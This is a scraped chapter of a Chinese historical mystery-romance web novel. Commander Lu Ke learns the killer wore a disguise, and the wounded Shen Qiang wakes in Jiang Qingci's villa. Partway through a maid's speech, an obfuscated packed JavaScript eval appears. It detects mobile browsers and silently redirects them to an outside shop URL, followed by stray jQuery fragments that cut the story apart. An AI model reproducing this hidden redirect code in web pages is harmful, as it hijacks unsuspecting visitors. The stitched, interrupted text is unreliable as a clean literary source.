默认冷灰
24号文字
方正启体

16. 【016】

作者:霍青梨本书字数:K更新时间:
    陆恪素来敏锐,即便已经抓到凶手,但他总觉得这事情透着蹊跷。锦衣卫办事向来雷厉风行,查验凶手尸体的时候果然发现不对劲。


    陆恪去到的时候,正巧看到锦衣卫将人皮面具撕下,朝他拱手道:“陆指挥使,属下验尸之时发现凶手易容伪装,并非真正的慧觉师父。”


    陆恪接过那张薄如蝉翼的人皮面具,微眯起眼睛道:“难怪之前查寻不到踪迹,没想到竟隐匿在南昭寺里。”说罢又继续吩咐:“去查查凶手的真实身份。”


    锦衣卫低声应是,转而又问:“是否需要属下等人去找寻慧觉师父踪迹?”


    “去吧。”陆恪轻轻颔首,目光看向地上的死尸,轻叹口气:“怕是已经凶多吉少。”


    锦衣卫领命而去。


    陆恪垂眼看向手中的人皮面具,站在原地顿了片刻,去了净空法师的禅堂。


    此刻了悟站在门外,陆恪道:“劳烦这位师父告知净空法师一声,我有要事相见。”


    了悟进去之后很快出来,朝陆恪低眉敛目道:“这位施主请进。”


    陆恪走进去看到净空法师盘腿坐在蒲团上,正闭着眼睛捻着一串佛珠。


    “法师乃此寺方丈,理应将事情告知。”陆恪看向他道:“如今凶手已经抓获,但却易容成慧觉师父的模样,隐匿在寺中多时。”


    “阿弥陀佛。”净空法师双掌合十,低叹一声:“凶手伏法,佛祖睁眼。”


    陆恪略作思索,继续道:“凶手既易容成寺中僧人藏匿,若我料想不错,慧觉师父已经遇害。”


    净空法师捻着佛珠的手一顿,慈祥的面容却依然平和,静静听他往下说。


    “我已让锦衣卫去搜寻慧觉师父踪迹,此事亦关系南昭寺及慧觉师父名声。我已命人封锁消息,无人知晓凶手藏匿在何处,也无人知晓凶手易容成寺中僧人。”


    净空法师静坐许久,轻叹口气:“多谢施主告知。”


    陆恪不再多言,转身离开禅堂。


    了悟站在门外,自然听到两人对话,他走进去站在净空法师面前,低声问:“师父,慧觉师兄真的已经遇害了吗?”


    “此前我曾替他算过一卦,你师兄会有此劫难。”净空法师轻抚长须,摇头叹息:“人各有命数,他终是没有躲过去。”


    了悟闭上双眼,面上呈现悲戚之色。


    “无须难过。”净空法师面容慈悲,微微一笑:“你师兄以己之身引出凶手,度化他人,何尝不是功德无量?”


    了悟双掌合十:“阿弥陀佛。”


    净空法师道:“既已遭此劫数,便是功德圆满。世间万物皆有关联,非偶然也。”


    *


    连过两日。


    京城的一处别院,正有两名婢女精心伺候着躺在床榻上的少女。许是因受伤,她的脸色仍有些发白,正蹙着眉睁开双眼。


    婢女云香撩开珠帘,正巧看见这一幕,脸上露出欣喜的笑容,忙走上前道:“姑娘醒了?”


    沈嫱仍有些头晕脑胀,刺眼的日光从支摘窗照进来,让她微感不适,忙用手挡住眼睛。许是因这动作牵扯到右肩上的伤口,她不自觉的倒吸一口凉气。


    云香忙道:“姑娘不要动,您的伤口还没完全好。”


    沈嫱微微缓和心绪,脑中渐渐回忆起南昭寺发生的事情。当时江青辞背对着凶手,她想要提醒已是来不及,便倾身挡了过去。


    原本是她承了江青辞的情,若非他发现自己会有危险,恐怕那晚她已经死了。


    因此当发现凶手朝江青辞扔出暗器的时候,她才会义无反顾的替他挡了这一下。


    算是两不相欠罢。


    只是沈嫱没想到竟然会......这么疼!早知道伤得这么重,她便坐视不管了。


    总之江青辞皮糙肉厚,即便中了暗器也不会伤及性命,总好过她这般痛苦。


    沈嫱心中后悔不迭。


    云香眉眼间都是藏不住的喜悦,笑着开口:“姑娘自从受伤便昏睡了两天,如今你终于醒了,若是大人知晓定然会很是高兴。”


    大人?


    沈嫱一时间没反应过来。她微微侧头,眸光打量着内室陈设,发现竟很是陌生,不由疑问:“这是什么地方?”


    云香如实道:“这是大人的别院,姑娘暂且在这里养伤。无人知晓你在此处,更不会有人打扰你。”


    沈嫱秀眉轻蹙,不确定的问:“你口中的大人是谁?”


    云香一愣,忙回:“自然是英亲王府世子,如今正任大理寺少卿的江大人。”


    沈嫱险些被自己的口水呛住。


    “大人一早还来过呢。”云香道:“只是大理寺事务繁杂,白日怕是脱不开身,只有等到下衙才有时间来看望姑娘。”


    沈嫱顿了片刻,忽而轻笑一下。


    没想到江青辞竟将她带回自己的别院,这个人看似清心寡欲,对任何事都漠不关心,实则也并非铁石心肠。


    只是她在别院养伤,沈家那边该如何交代呢?


    那晚她差点被凶手所害,这事本就不甚光彩。纪氏同沈慕璃向来将她当成眼中钉肉中刺,恨不得除之而后快,这次便没有任何怀疑吗?


    沈嫱感觉思绪像一团乱麻。


    云香瞧她蹙眉深思,轻声宽慰:“姑娘无须想太多,切莫劳心伤神,眼下最重要的便是好好养伤。”


    正在此时,另一名婢女云珠也掀帘而入,手中还端着汤药,温言提醒:“姑娘,您该喝药了。”


    云香连忙扶着沈嫱坐起来,动作仔细小心,生怕扯动了她的伤口。


    沈嫱后背靠着软枕,感觉稍微舒服了些,这才抬手接过药碗。


    她素来讨厌喝药,眼下盯着这碗黑乎乎的汤汁,想必定然极苦,不由眉头皱得更深。


    云香笑道:“大人知晓姑娘嫌苦,特意命奴婢备了蜜饯。”


    沈嫱这才捏着鼻子,鼓起勇气全部灌进嘴里。


    云香赶紧将备好的蜜饯递到她手中,沈嫱忙塞进口里,这才感觉好了些。


    “姑娘不知,您昏睡的这两日,奴婢只要喂药,您便能全部吐出来。最后还是大人想了办法,每次您喝完药,喂一颗梅子干含在嘴里,您就再也没有吐过了。”


    沈嫱眨了眨长而卷翘的眼睫,心中在想江青辞还算有点人性。知道自己怕苦,倒还算想得周到。


    倏而转念一想,她替他受伤,不管做什么都不过分。


    沈嫱抬首打量起四周。


    这间内室布置典雅,墙上挂着名贵的花鸟画,博古架上摆放着古玩器具;另一侧的朱漆彩绘缠枝莲长桌则放置着绿色盆景。


    虽不华丽,但却精致。


    沈嫱心想倒是符合江青辞的喜好。


    她微侧过头,看向云香云珠,试探性的问:“你们是英亲王府的人?”


    “奴婢同云珠是亲姐妹,并非英亲王府的人。”云香解释:“我们父母早逝,依靠着刺绣挣点银钱,日子虽然艰难但也有盼头。却不料去年被当地富商看中,非要让我姐妹两人去做小妾,那胡员外已经六十多岁,家中十几房妾室。我们自然不愿意,可他仗着与知府大人交好竟强抢民女。去年大人巡查苏州府正巧撞见,严厉惩治了胡员外,甚至连知府大人都受了连累。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497587|202572||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “我们姐妹两人心存感激,本就在苏州府无依无靠,便想跟着大人,哪怕为奴为婢,也算报答一点恩情。原先大人说什么也不肯,但我们心意已决,大人终是怜悯我们孤苦无依,将我与云珠带回燕京。英亲王府不缺人手,他便将我与云珠安排在这处别院。”


    沈嫱恍然。


    难怪她觉得这两名婢女不像是英亲王府的人,没想到竟是这般曲折。


    云香一笑:“说来奴婢在别院这么久,一年到头也见不了大人两次呢。”


    沈嫱怔了怔:“他不常来吗?”


    云香摇头:“大人素来公务繁忙,即便休沐也不会前来。这处别院一直空着,奴婢同云珠能做的便是打扫干净。但没想到前两日大人竟将姑娘带了回来。”


    沈嫱微微抿唇。


    许是身体还虚弱,又说了这么久的话,她感到有些疲累,伸手揉了揉眉心。


    云香赶紧道:“姑娘既累了,便再睡会儿。”


    沈嫱轻轻颔首。


    云香云珠两人扶着她躺下,瞧着沈嫱神色还不大好,怕吵着她休息,忙退了出去。


    沈嫱这一睡,便到暮色四浓。


    醒来的时候,云香正提了食盒进来,瞧着沈嫱睡眼惺忪,不由一笑:“姑娘,该用晚膳了。”


    沈嫱伤还未好,忌油荤辛辣等刺激之物,因此饭菜自然很是清淡。


    云香将一碟碟清粥小菜摆放在桌案上,走上前准备扶沈嫱起来。


    瞧着她似乎想要下地,却因疼痛蹙起眉,云香连忙提醒:“姑娘若不舒服,倒也不必下床,奴婢将饭菜给您端过来。”


    沈嫱素来没有在床上用食的习惯,摇头拒绝:“我能忍住。”


    云香不再坚持,将桌案往床边挪了挪,仔细将鞋袜穿好,扶着她下地。


    沈嫱在桌案前坐了下来。如此折腾一番,她额头上又冒出细密的汗珠。


    瞧着桌上的清粥小菜,沈嫱并无多少胃口。但她已有两日未曾进食,腹中自是饥肠辘辘。


    等到喝了半碗粥,方才觉得不那么饿。


    云香将碗碟撤了下去,原想扶沈嫱躺回床上,她却摇头拒绝。


    等再次端着汤药走进内室,瞧见沈嫱仍坐在桌案边。她本就生得美,如今因受伤更添几分病弱,显得楚楚可怜。


    连云香都忍不住多打量她一眼。


    心道难怪大人会将姑娘带回别院。这般难得一见的美人谁看了不会动心呢?


    便是大人仙人之姿,素来清心寡欲,怕是也难以自持吧?


    云香上前道:“姑娘,又该喝药了。”


    原本沈嫱正在发呆,不由回过神来。瞧着云香手中黑乎乎的汤药,柳眉又轻轻蹙起来。


    即便是有蜜饯,她也不喜欢喝药,那味道实在苦涩难闻。


    “这次能不能不喝?”沈嫱朝她眨了眨眼睛:“我明日再喝,反正今天已经喝了两道,不差这一道。”


    “这......”云香面上现出为难的神色。


    “放心吧。”沈嫱轻飘飘的道:“我已经喝了两道,总会起药效的。这一晚喝下去也没什么不同。”


    云香仍坚持:“可是大人吩咐必须要让姑娘按时喝药。”


    “他如今又不在这里,自然不会知晓。”沈嫱不以为意的道:“若是问起,你说我喝过就行了。”


    江青辞刚下衙来了别院,将才走到门口,便看到眼前这一幕。


    屋内沈嫱瞧着云香迟迟没有答应,连忙道:“好云香,行不行嘛?”


    正在这时,江青辞突然出现,清冷的嗓音道:“不行。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)